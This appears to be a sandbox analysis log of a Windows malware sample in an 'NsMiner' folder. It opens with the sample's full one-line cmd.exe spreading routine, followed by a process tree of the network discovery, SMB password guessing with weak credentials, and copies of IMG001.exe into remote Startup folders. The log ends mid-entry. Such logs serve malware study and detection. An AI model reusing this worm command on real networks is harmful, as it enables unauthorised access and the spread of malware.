    "C:\Windows\system32\cmd.exe" /v:on /c @(for /f "usebackq tokens=1" %i in (`@net view^|find /i "\\" ^|^| @arp -a^|find /i " 1"`) do @set str_!random!=%i)& @for /f "usebackq tokens=1* delims==" %j in (`set str_`) do @set s=%k& set s=!s:\\=!& set l=!s:-PC=!& set l=!l:-ÏÊ=!& set f=IMG001.exe& set n=1609& @if not "!s!"=="%COMPUTERNAME%" @echo connect to \\!s! & (for /f "usebackq tokens=1" %j in (`net view \\!s!^|find /i " "`) do @echo f|xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\!s!\%j\!f!" 1>nul && @echo copy to "\\!s!\%j\!f!") & @net use * /delete /y 2>nul & @(for %u in (1 !l! administrator user admin àäìèíèñòðàòîð) do @for %p in (0 1 123 %u !n! "") do @ping -n 3 localhost>nul & @(for %c in (\\!s!\C$ \\!s!\Users) do @echo connect to %c %p %u & @(if not "%p%u"=="01" net use %c "%p" /user:"%u") && @((echo [Section1] & echo p=%p %u)>"C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe:P" & @(for %d in ("%c\All Users\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\%u\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\Users\%u\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\Documents and Settings\%u\Start Menu\Programs\Startup\!f!" "%c\Documents and Settings\All Users\Start Menu\Programs\Startup\!f!" "%c\Documents and Settings\%u\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\!f!" "%c\Documents and Settings\All Users\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\!f!" "%c\Windows\Profiles\%u\Start Menu\Programs\Startup\!f!" "%c\Windows\All Users\Start menu\Programs\Startup\!f!" "%c\%u\!f!" ) do @echo f|@xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" %d 1>nul && @echo copy to %d) & @echo nul>"C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe:P" & net use %c /delete /y 2>nul & @ping -n 20 localhost>nul)))
    3⤵
    - NTFS ADS
    PID:2440
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c @net view|find /i "\\" || @arp -a|find /i " 1"
      4⤵
      PID:3204
    - - C:\Windows\SysWOW64\net.exe
        
        net view
        5⤵
        Discovers systems in the same network
        
        PID:1844
    - - C:\Windows\SysWOW64\find.exe
        
        find /i "\\"
        5⤵
        
        PID:2340
    - - C:\Windows\SysWOW64\ARP.EXE
        
        arp -a
        5⤵
        
        PID:4904
    - - C:\Windows\SysWOW64\find.exe
        
        find /i " 1"
        5⤵
        
        PID:5012
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c set str_
      4⤵
      PID:4756
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c net view \\10.127.0.1|find /i " "
      4⤵
      PID:4404
    - - C:\Windows\SysWOW64\net.exe
        
        net view \\10.127.0.1
        5⤵
        Discovers systems in the same network
        
        PID:3580
    - - C:\Windows\SysWOW64\find.exe
        
        find /i " "
        5⤵
        
        PID:3520
  - - C:\Windows\SysWOW64\net.exe
      net use * /delete /y
      4⤵
      PID:1776
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:4768
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:4328
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\C$\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.0.1\C$\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:1320
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\C$\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        
        PID:4732
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:5976
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\C$\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.0.1\C$\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:6044
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\C$\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        
        PID:544
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:4596
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\C$\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.0.1\C$\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:4352
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\C$\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:3692
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:5136
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\C$\Users\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.0.1\C$\Users\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:5128
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\C$\Users\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        
        PID:4620
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:3296
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\C$\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.0.1\C$\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:1448
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\C$\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:5012
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:776
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\C$\Documents and Settings\1\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.0.1\C$\Documents and Settings\1\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:4308
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\C$\Documents and Settings\1\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:5220
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:4376
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\C$\Documents and Settings\All Users\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.0.1\C$\Documents and Settings\All Users\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:3620
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\C$\Documents and Settings\All Users\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:5520
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:5348
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\C$\Documents and Settings\1\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe" 1>nul && @ echo copy to "\\10.127.0.1\C$\Documents and Settings\1\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe" "
      4⤵
      PID:208
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\C$\Documents and Settings\1\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:336
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:2424
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\C$\Documents and Settings\All Users\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe" 1>nul && @ echo copy to "\\10.127.0.1\C$\Documents and Settings\All Users\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe" "
      4⤵
      PID:1664
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\C$\Documents and Settings\All Users\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:4784
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:5284
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\C$\Windows\Profiles\1\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.0.1\C$\Windows\Profiles\1\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:5296
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\C$\Windows\Profiles\1\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:4068
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:4584
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\C$\Windows\All Users\Start menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.0.1\C$\Windows\All Users\Start menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:4296
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\C$\Windows\All Users\Start menu\Programs\Startup\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:3508
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:1580
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\C$\1\IMG001.exe" 1>nul && @ echo copy to "\\10.127.0.1\C$\1\IMG001.exe" "
      4⤵
      PID:232
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\C$\1\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:4088
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\C$ /delete /y
      4⤵
      PID:2688
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 20 localhost
      4⤵
      PID:2504
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:5308
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.0.1\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:5272
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:1192
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:1832
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\Users\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.0.1\Users\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:1036
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\Users\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:5420
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:2508
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\Users\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.0.1\Users\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:3760
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\Users\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:5156
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:5124
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\Users\Users\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.0.1\Users\Users\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:3088
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\Users\Users\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:5172
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:4100
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\Users\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.0.1\Users\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:4860
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\Users\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:5036
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:5896
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\Users\Documents and Settings\1\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.0.1\Users\Documents and Settings\1\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:5824
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\Users\Documents and Settings\1\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        
        PID:4216
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:3236
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\Users\Documents and Settings\All Users\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.0.1\Users\Documents and Settings\All Users\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:2284
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\Users\Documents and Settings\All Users\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        
        PID:5384
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:5652
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\Users\Documents and Settings\1\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe" 1>nul && @ echo copy to "\\10.127.0.1\Users\Documents and Settings\1\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe" "
      4⤵
      PID:5528
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\Users\Documents and Settings\1\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe"
        5⤵
        
        PID:5660
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:5680
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\Users\Documents and Settings\All Users\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe" 1>nul && @ echo copy to "\\10.127.0.1\Users\Documents and Settings\All Users\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe" "
      4⤵
      PID:4564
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\Users\Documents and Settings\All Users\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe"
        5⤵
        
        PID:5612
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:5704
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\Users\Windows\Profiles\1\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.0.1\Users\Windows\Profiles\1\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:3528
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\Users\Windows\Profiles\1\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        
        PID:5860
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:5948
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\Users\Windows\All Users\Start menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.0.1\Users\Windows\All Users\Start menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:5104
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\Users\Windows\All Users\Start menu\Programs\Startup\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:732
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:4504
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\Users\1\IMG001.exe" 1>nul && @ echo copy to "\\10.127.0.1\Users\1\IMG001.exe" "
      4⤵
      PID:3296
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\Users\1\IMG001.exe"
        5⤵
        
        PID:5012
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\Users /delete /y
      4⤵
      PID:1164
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 20 localhost
      4⤵
      Runs ping.exe
      PID:2300
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:1676
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\C$ "1" /user:"1"
      4⤵
      PID:4012
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\Users "1" /user:"1"
      4⤵
      PID:5500
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      PID:2584
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\C$ "123" /user:"1"
      4⤵
      PID:5488
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\Users "123" /user:"1"
      4⤵
      PID:5856
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:1448
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\C$ "1" /user:"1"
      4⤵
      PID:5256
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\Users "1" /user:"1"
      4⤵
      PID:744
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:3552
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\C$ "1609" /user:"1"
      4⤵
      PID:4044
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\Users "1609" /user:"1"
      4⤵
      PID:5380
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:5376
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\C$ """" /user:"1"
      4⤵
      PID:5908
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\Users """" /user:"1"
      4⤵
      PID:5944
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      PID:2684
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\C$ "0" /user:"10.127.0.1"
      4⤵
      PID:4888
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\Users "0" /user:"10.127.0.1"
      4⤵
      PID:5188
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:1884
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\C$ "1" /user:"10.127.0.1"
      4⤵
      PID:5892
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\Users "1" /user:"10.127.0.1"
      4⤵
      PID:4420
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      PID:3728
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\C$ "123" /user:"10.127.0.1"
      4⤵
      PID:544
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\Users "123" /user:"10.127.0.1"
      4⤵
      PID:4100
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:5380
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\C$ "10.127.0.1" /user:"10.127.0.1"
      4⤵
      PID:2284
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\Users "10.127.0.1" /user:"10.127.0.1"
      4⤵
      PID:3548
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:3284
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\C$ "1609" /user:"10.127.0.1"
      4⤵
      PID:1544
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\Users "1609" /user:"10.127.0.1"
      4⤵
      PID:5780
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      PID:3912
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\C$ """" /user:"10.127.0.1"
      4⤵
      PID:852
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\Users """" /user:"10.127.0.1"
      4⤵
      PID:3096
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:2596
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\C$ "0" /user:"administrator"
      4⤵
      PID:4540
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\Users "0" /user:"administrator"
      4⤵
      PID:1520
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:4360
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\C$ "1" /user:"administrator"
      4⤵
      PID:5416
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\Users "1" /user:"administrator"
      4⤵
      PID:1608
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:1940
  - - C:\Windows\SysWOW64\net.exe
